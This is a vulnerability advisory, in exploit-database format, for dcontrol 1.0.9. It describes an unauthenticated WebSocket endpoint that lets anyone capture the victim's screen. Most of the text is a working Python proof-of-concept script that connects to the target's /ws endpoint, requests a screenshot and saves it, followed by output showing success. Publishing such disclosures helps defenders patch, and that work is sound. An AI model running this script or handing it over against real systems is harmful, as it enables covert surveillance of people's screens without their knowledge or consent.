📄 dcontrol 1.0.9 Remote Screen Capture

# Exploit Title: dcontrol v1.0.9 - Unauthenticated Remote Screen Capture
    # Date: 2026-04-18
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://github.com/dhjz/dcontrol
    # Software Link:
    https://github.com/dhjz/dcontrol/releases/download/1.0.9/dcontrol.exe
    # Version: 1.0.9
    # Tested on: Windows 10, Windows 11
    
    
    # Description:
    dcontrol v1.0.9 is vulnerable to unauthenticated remote screen capture via
    the
    WebSocket endpoint (/ws). The application allows any client to connect to
    the
    WebSocket without authentication and request screenshots of the target
    system's
    display by sending a "screen" message. This enables an attacker to remotely
    surveil the victim's screen in real-time.
    
    
    # Proof of Concept:
    
    Python script to capture screenshot:
    
    import asyncio
    import websockets
    import gzip
    
    async def capture():
        async with websockets.connect('ws://TARGET_IP:666/ws') as ws:
            await ws.send('screen,50')
            data = await ws.recv()
            decompressed = gzip.decompress(data)
            with open('screenshot.jpg', 'wb') as f:
                f.write(decompressed)
            print('[+] Screenshot captured!')
    
    asyncio.run(capture())
    
    
    
    $python poc.py
    [+] Screenshot captured!